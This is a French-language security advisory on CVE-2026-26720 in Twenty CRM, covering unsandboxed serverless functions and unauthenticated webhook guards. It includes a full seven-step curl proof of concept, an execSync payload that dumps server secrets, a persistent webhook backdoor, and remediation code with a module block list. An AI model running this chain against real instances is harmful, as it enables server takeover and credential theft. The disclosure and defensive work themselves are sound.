Les fonctions serverless de Twenty CRM exposent un risque critique de RCE et de porte dérobée permanente non authentifiée (CVE-2026-26720) - PoC & exploit
Une analyse technique de la CVE-2026-26720, une vulnérabilité critique d'exécution de code à distance (RCE) authentifiée avec un score CVSS de 9,8 dans Twenty CRM (≤ v1.15.0). Tout membre d'un espace de travail peut créer et exécuter des fonctions serverless sans sandbox disposant d'un accès complet à process.env, exposant APP_SECRET, PG_DATABASE_URL et tous les identifiants côté serveur. Combiné à des workflows déclenchés par webhook exposés via PublicEndpointGuard, un attaquant authentifié peut installer une porte dérobée RCE permanente non authentifiée accessible depuis n'importe où sur Internet.
Exploit CVE-2026-26720
RCE authentifiée via des fonctions serverless sans sandbox → Porte dérobée permanente non authentifiée
3 mars 2026 · CVSS 9,8 critique · Twenty CRM ≤ v1.15.0
| Identifiant CVE | CVSS | Versions affectées | Version corrigée |
|---|---|---|---|
| CVE-2026-26720 | 9,8 critique | Twenty CRM ≤ v1.15.0 | Twenty CRM v1.15.1 |
Twenty CRM est une plateforme de CRM open source comptant plus de 28k étoiles sur GitHub et disposant d'une offre cloud gérée. Elle permet aux membres d'un espace de travail de créer des « fonctions serverless » — du code TypeScript personnalisé qui s'exécute sur le serveur. Le problème : ces fonctions s'exécutent dans un simple child_process.spawn() sans sandbox, sans restriction de code et avec l'héritage complet de l'environnement du processus parent. Ce qui suit détaille comment n'importe quel utilisateur authentifié — y compris un compte fraîchement auto-enregistré sur le cloud — peut obtenir une RCE complète côté serveur, exfiltrer l'ensemble des secrets du serveur et installer une porte dérobée permanente ne nécessitant aucune authentification pour être déclenchée.
Résumé exécutif de la CVE-2026-26720 : exécution de fonctions serverless sans sandbox
La CVE-2026-26720 est une chaîne de trois vulnérabilités dans Twenty CRM qui produisent ensemble un impact critique avec un score CVSS de 9,8 :
-
Exécution de code sans sandbox — Les fonctions serverless s'exécutent via
spawn(process.execPath, ...)avec{ ...process.env, ...env }, donnant au code fourni par l'utilisateur un accès complet àchild_process,fs,netet à chaque variable d'environnement du serveur (APP_SECRET,PG_DATABASE_URL,REDIS_URL). -
Aucune validation du code — La mutation
updateOneServerlessFunctionaccepte du code TypeScript arbitraire sans aucune analyse statique, restriction d'AST ni liste de blocage d'importation de modules.execSync,spawn,fs.readFileSync— tous sont autorisés. -
Point de terminaison webhook non authentifié — Le point de terminaison
POST /webhooks/workflows/:workspaceId/:workflowIdest protégé parPublicEndpointGuardetNoPermissionGuard, qui renvoient tous deux inconditionnellementtrue. Dès qu'un attaquant associe une fonction serverless malveillante à un workflow déclenché par webhook, n'importe quel client HTTP sur Internet peut la déclencher sans aucun identifiant, pour toujours.
Impact : Exécution de code à distance complète. Tout membre d'un espace de travail (y compris les comptes cloud auto-enregistrés) peut exfiltrer tous les secrets du serveur, accéder directement à la base de données, lire/écrire sur le système de fichiers et installer une porte dérobée permanente non authentifiée — le tout via des fonctionnalités légitimes du produit avec une complexité d'exploitation nulle.
Vulnérabilité n° 1 : exécution de code sans sandbox avec héritage complet de l'environnement
Le sink — local.driver.ts ligne 288
La vulnérabilité principale réside dans le moteur d'exécution des fonctions serverless. Lorsqu'une fonction est exécutée, le LocalDriver génère un processus enfant Node.js :
// packages/twenty-server/src/engine/core-modules/serverless/drivers/local.driver.ts
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets passed to child
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
process.env est directement déversé dans l'environnement du processus enfant. Cela signifie que chaque secret accessible au processus serveur de Twenty — APP_SECRET, PG_DATABASE_URL, REDIS_URL, identifiants de fournisseurs cloud, mots de passe SMTP — est accessible au code fourni par l'utilisateur via process.env.
Il n'y a pas de sandbox. Aucun vm2, aucun isolated-vm, aucun conteneur Docker, aucun profil seccomp restrictif. Le processus enfant s'exécute sous le même utilisateur du système d'exploitation que le serveur, avec le même accès au système de fichiers, le même accès au réseau et les mêmes identifiants.
Aucune restriction d'importation
La mutation updateOneServerlessFunction accepte du code TypeScript arbitraire et le compile sans restriction :
// packages/twenty-server/src/engine/metadata-modules/serverless-function/serverless-function.resolver.ts
@Mutation(() => ServerlessFunctionDTO)
@UseGuards(SettingsPermissionGuard(PermissionFlagType.WORKFLOWS))
async updateOneServerlessFunction(
@Args('input') input: UpdateServerlessFunctionInput,
@AuthWorkspace() { id: workspaceId }: WorkspaceEntity,
) {
return await this.serverlessFunctionService.updateOneServerlessFunction(
input, // <-- attacker-controlled code, no validation
workspaceId,
);
}
Le guard est SettingsPermissionGuard(PermissionFlagType.WORKFLOWS) — tout membre d'un espace de travail disposant de la permission WORKFLOWS (accordée par défaut à tous les membres) peut créer et exécuter du code arbitraire sur le serveur. Il n'y a aucune analyse d'AST, aucune liste de blocage de modules dangereux (child_process, fs, net, os) et aucune restriction de sécurité de contenu.
Chemin de fuite de l'environnement
Authenticated user
|
createOneServerlessFunction (GraphQL mutation)
|
updateOneServerlessFunction (inject code: execSync("id"))
|
executeOneServerlessFunction (GraphQL mutation)
|
serverlessFunctionService.execute()
|
LocalDriver.execute()
|
LocalDriver.runChildWithEnv()
|
spawn(process.execPath, [runnerPath], { env: { ...process.env } })
|
User code runs with ALL server secrets in process.env
|
RCE + full secret exfiltration
Vulnérabilité n° 2 : porte dérobée permanente non authentifiée via le point de terminaison webhook
Le point d'entrée — aucune authentification à aucun niveau
Le contrôleur de déclenchement par webhook expose l'exécution de workflows à Internet sans aucune authentification :
// packages/twenty-server/src/engine/core-modules/workflow/controllers/workflow-trigger.controller.ts
@Controller('webhooks')
export class WorkflowTriggerController {
@Post('workflows/:workspaceId/:workflowId')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH
async runWorkflowByPostRequest(
@Param('workspaceId') workspaceId: string,
@Param('workflowId') workflowId: string,
@Req() request: Request,
) {
return await this.runWorkflow({
workflowId,
payload: request.body || {},
workspaceId,
});
}
}
Les deux guards renvoient inconditionnellement true :
// packages/twenty-server/src/engine/guards/public-endpoint.guard.ts
@Injectable()
export class PublicEndpointGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // Always allow access
}
}
// packages/twenty-server/src/engine/guards/no-permission.guard.ts
@Injectable()
export class NoPermissionGuard implements CanActivate {
canActivate(_context: ExecutionContext): boolean {
return true; // No permission checks
}
}
Aucun jeton. Aucune signature. Aucune liste d'adresses IP autorisées. Aucune limitation de débit sur le point de terminaison webhook. Une fois qu'un utilisateur authentifié crée un workflow déclenché par webhook pointant vers une fonction serverless malveillante, l'URL obtenue constitue un point de terminaison RCE permanent et non authentifié :
POST /webhooks/workflows/<workspaceId>/<workflowId>
Vecteur non authentifié supplémentaire : RouteTriggerController
Un second contrôleur non authentifié expose la même surface de risque :
// packages/twenty-server/src/engine/metadata-modules/route-trigger/route-trigger.controller.ts
@Controller('s')
@UseGuards(PublicEndpointGuard, NoPermissionGuard) // NO AUTH on entire controller
export class RouteTriggerController {
@Post('*path')
async post(@Req() request: Request) {
return await this.routeTriggerService.handle({
request, httpMethod: HTTPMethod.POST,
});
}
}
Si un RouteTrigger existe avec isAuthRequired: false, toute requête HTTP vers /s/<path> exécute directement la fonction serverless associée, sans aucune authentification.
Preuve de concept pour la CVE-2026-26720 : exécution de code à distance complète
La chaîne d'attaque complète — d'un membre authentifié de l'espace de travail à la compromission totale du serveur et à une porte dérobée permanente non authentifiée — nécessite 7 requêtes HTTP. Chaque étape a été confirmée sur Twenty CRM v1.15.0 dans un environnement de laboratoire contrôlé.
Configuration du laboratoire
Twenty CRM v1.15.0 s'exécutant localement avec la configuration par défaut :
# docker-compose equivalent
services:
twenty-server:
image: twentycrm/twenty:v1.15.0
ports:
- "3000:3000" # API
- "3001:3001" # Frontend
environment:
APP_SECRET: "replace_me_with_a_random_string"
PG_DATABASE_URL: "postgres://postgres:postgres@localhost:5432/default"
REDIS_URL: "redis://localhost:6379"
Prérequis
Un compte membre valide de l'espace de travail. Sur Twenty Cloud, il s'agit de tout utilisateur enregistré. En auto-hébergé, de tout membre invité. Le jeton JWT utilisé ci-dessous appartient à l'utilisateur tim@apple.dev dans l'espace de travail 2782b9df-....
Étape 1 : création de la fonction serverless (authentifiée)
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation CreateFn($input: CreateServerlessFunctionInput!) {
createOneServerlessFunction(input: $input) { id name }
}",
"variables": { "input": { "name": "pwn-rce" } }
}'
{
"data": {
"createOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
Étape 2 : injection du code malveillant (authentifiée)
Le code injecté importe child_process.execSync et extrait l'intégralité de l'environnement du serveur :
import { execSync } from 'child_process';
export const main = async (params: any): Promise<object> => {
const cmd = params?.command ?? 'id && hostname';
const out = execSync(String(cmd)).toString();
const env = JSON.stringify(process.env);
return { out, env };
};
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation UpdateFn($input: UpdateServerlessFunctionInput!) {
updateOneServerlessFunction(input: $input) { id name }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"update": {
"name": "pwn-rce",
"code": {
"src/index.ts": "import { execSync } from '\''child_process'\'';\nexport const main = async (params: any): Promise<object> => {\n const cmd = params?.command ?? '\''id && hostname'\'';\n const out = execSync(String(cmd)).toString();\n const env = JSON.stringify(process.env);\n return { out, env };\n};"
}
}
}
}
}'
{
"data": {
"updateOneServerlessFunction": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"name": "pwn-rce"
}
}
}
Aucune validation. Aucune vérification d'AST. Aucun import bloqué. Le code est accepté et stocké tel quel.
Étape 3 : exécution — RCE authentifiée confirmée
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{
"query": "mutation ExecFn($input: ExecuteServerlessFunctionInput!) {
executeOneServerlessFunction(input: $input) { data logs status error }
}",
"variables": {
"input": {
"id": "679110bc-1536-4349-82c7-2a5706cc6a49",
"payload": { "command": "id && hostname && cat /etc/passwd | head -5" },
"version": "draft"
}
}
}'
Réponse — data.out (sortie de la commande du système d'exploitation) :
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Réponse — data.env (tous les secrets du serveur exfiltrés) :
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
RCE authentifiée confirmée — exécution complète de commandes et exfiltration totale de l'environnement du serveur. Tout membre d'un espace de travail disposant de la permission WORKFLOWS (par défaut pour tous les membres) peut exécuter cela.
Étapes 4 à 6 : installation d'une porte dérobée permanente non authentifiée
Disposant d'un accès authentifié, l'attaquant crée désormais un workflow déclenché par webhook relié à la fonction serverless malveillante :
Étape 4 — Création du workflow et configuration du déclencheur WEBHOOK :
# Create workflow
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { createWorkflow(data: { name: \"pwn-webhook\" }) { id name } }"}'
{"data":{"createWorkflow":{"id":"52ecef24-026d-48b0-a64b-8276570e25dd","name":"pwn-webhook"}}}
Étape 5 — Ajout de l'étape CODE pointant vers la fonction malveillante, liaison du déclencheur et publication de la fonction :
# Publish serverless function
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { publishServerlessFunction(input: { id: \"679110bc-1536-4349-82c7-2a5706cc6a49\" }) { id publishedVersions } }"}'
{"data":{"publishServerlessFunction":{"id":"679110bc-1536-4349-82c7-2a5706cc6a49","publishedVersions":["1"]}}}
La version du workflow est configurée avec un type de déclencheur WEBHOOK, une étape CODE référençant la fonction malveillante et une transition reliant le déclencheur à l'étape.
Étape 6 — Activation du workflow :
curl -s http://localhost:3000/graphql -X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
--data-binary '{"query": "mutation { activateWorkflowVersion(workflowVersionId: \"b4c8976f-dcb8-47ab-af50-2d20414577e6\") }"}'
{"data":{"activateWorkflowVersion":true}}
Étape 7 : RCE non authentifiée — aucun identifiant requis
La porte dérobée est désormais active en permanence. N'importe quel client HTTP sur Internet peut la déclencher :
# NO Authorization header — completely unauthenticated
curl -s -X POST \
"http://localhost:3000/webhooks/workflows/2782b9df-4dd8-4deb-9f81-e60020b6d78f/52ecef24-026d-48b0-a64b-8276570e25dd" \
-H "Content-Type: application/json" \
-d '{"command": "id && whoami && cat /etc/passwd | head -5"}'
Réponse immédiate (aucune vérification d'authentification) :
{
"workflowName": "pwn-webhook",
"success": true,
"workflowRunId": "ccdfb94d-1566-44f2-a5ce-ab0222fffab3"
}
Résultat de l'exécution du workflow (d'après les logs du serveur / la base de données) :
uid=1000(soop) gid=1000(soop) groups=1000(soop),4(adm),24(cdrom),27(sudo),
30(dip),46(plugdev),100(users),114(lpadmin),126(docker),984(nordvpn)
soop
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Secrets du serveur (même dump complet — tous exfiltrés via une requête non authentifiée) :
{
"APP_SECRET": "replace_me_with_a_random_string",
"PG_DATABASE_URL": "postgres://postgres:postgres@localhost:5432/default",
"REDIS_URL": "redis://localhost:6379"
}
Exécution complète de commandes réussie — aucune authentification requise. L'URL du webhook constitue une porte dérobée permanente : aucun jeton, aucune signature, aucune expiration. Une fois créée, elle persiste jusqu'à ce que le workflow soit supprimé manuellement.
Analyse de la surface d'attaque
Qui peut exploiter cette vulnérabilité ?
| Déploiement | Accès initial | Exploitable ? |
|---|---|---|
| Auto-hébergé (multi-espaces de travail) | Tout utilisateur enregistré | Oui — compromission totale du serveur |
| Auto-hébergé (espace de travail unique) | Tout membre invité de l'espace de travail | Oui — élévation de privilèges d'un membre vers le contrôle total du serveur |
Chaîne d'impact
Workspace member (low privilege)
↓
Create serverless function ← intended feature, no exploit needed
↓
Inject execSync / spawn code ← no validation, no sandbox
↓
Execute function ← runs as server user, inherits process.env
↓
Exfiltrate APP_SECRET, ← full secret dump
PG_DATABASE_URL, REDIS_URL
↓
Direct database access ← read/modify all workspaces, all tenants
↓
Create webhook workflow ← permanent unauthenticated backdoor
↓
Any internet client fires webhook ← zero auth, zero credentials, forever
Comment corriger la CVE-2026-26720
Trois correctifs indépendants sont nécessaires pour remédier complètement à cette chaîne de vulnérabilités :
Correctif 1 : isoler l'exécution des fonctions serverless dans une sandbox
L'environnement d'exécution des fonctions serverless doit être isolé du processus hôte. Le processus enfant ne devrait jamais hériter des variables d'environnement du parent.
// BEFORE (vulnerable): full environment inheritance
const child = spawn(process.execPath, [runnerPath], {
env: { ...process.env, ...env }, // ALL server secrets leaked
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
// AFTER (fixed): isolated environment — only explicit variables
const child = spawn(process.execPath, [runnerPath], {
env: {
NODE_PATH: process.env.NODE_PATH,
PATH: process.env.PATH,
...env, // only workspace-specific vars
},
stdio: ['pipe', 'pipe', 'pipe', 'ipc'],
});
Pour une défense en profondeur, exécutez les fonctions dans un conteneur isolé (Docker/gVisor/Firecracker) avec :
- Un système de fichiers en lecture seule (à l'exception de
/tmp) - Aucun accès réseau aux services internes
- Des limites de CPU et de mémoire
- Un utilisateur non privilégié distinct
Correctif 2 : valider le code des fonctions serverless
Implémentez une liste de blocage ou une liste d'autorisation pour les importations de modules Node.js avant la compilation :
const BLOCKED_MODULES = [
'child_process', 'cluster', 'dgram', 'dns', 'net',
'tls', 'vm', 'worker_threads', 'fs', 'os',
];
// Parse AST and reject any import/require of blocked modules
Correctif 3 : authentifier les points de terminaison webhook
Le point de terminaison du déclencheur webhook doit exiger une authentification — au minimum une signature HMAC propre à chaque workflow :
// BEFORE (vulnerable): no authentication
@UseGuards(PublicEndpointGuard, NoPermissionGuard)
// AFTER (fixed): require webhook signature
@UseGuards(WebhookSignatureGuard)
async runWorkflowByPostRequest(...)
Chaque workflow déclenché par webhook devrait posséder un secret unique, et les requêtes entrantes doivent inclure un en-tête X-Webhook-Signature valide. Les requêtes sans signature valide doivent être rejetées avec une erreur 401.
Mesures d'atténuation et bonnes pratiques pour la CVE-2026-26720
- Mettez à jour immédiatement lorsqu'une version corrigée est publiée. Surveillez le dépôt GitHub et le journal des modifications de Twenty CRM.
- Restreignez les fonctions serverless — Si votre déploiement ne nécessite pas de fonctions serverless personnalisées, désactivez complètement la fonctionnalité ou réservez la permission WORKFLOWS aux seuls administrateurs.
- Auditez les fonctions existantes — Examinez toutes les fonctions serverless de votre espace de travail à la recherche d'importations suspectes (
child_process,fs,net). Vérifiez la table_metadata.serverlessFunctiondans le schéma de votre espace de travail. - Filtrez les points de terminaison webhook — Bloquez l'accès externe à
/webhooks/workflows/*et/s/*au niveau du reverse proxy jusqu'à ce qu'un correctif soit disponible. - Renouvelez les secrets — Si votre instance a été accessible publiquement avec les fonctions serverless activées, considérez que toutes les variables d'environnement ont été compromises. Renouvelez
APP_SECRET, les identifiants de base de données, les identifiants Redis, les mots de passe SMTP et toutes les clés d'API. - Surveillez l'activité des workflows — Auditez la table
workflowRunpour détecter les exécutions inattendues, en particulier celles avecsource: WEBHOOKsans intégration légitime correspondante.
Références
| Ressource | Lien |
|---|---|
| Twenty CRM GitHub | https://github.com/twentyhq/twenty |
| Version v1.15.0 de Twenty CRM | https://github.com/twentyhq/twenty/releases/tag/v1.15.0 |
| Documentation des guards NestJS | https://docs.nestjs.com/guards |
| OWASP — Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-94: Code Injection | https://cwe.mitre.org/data/definitions/94.html |
| CWE-250: Execution with Unnecessary Privileges | https://cwe.mitre.org/data/definitions/250.html |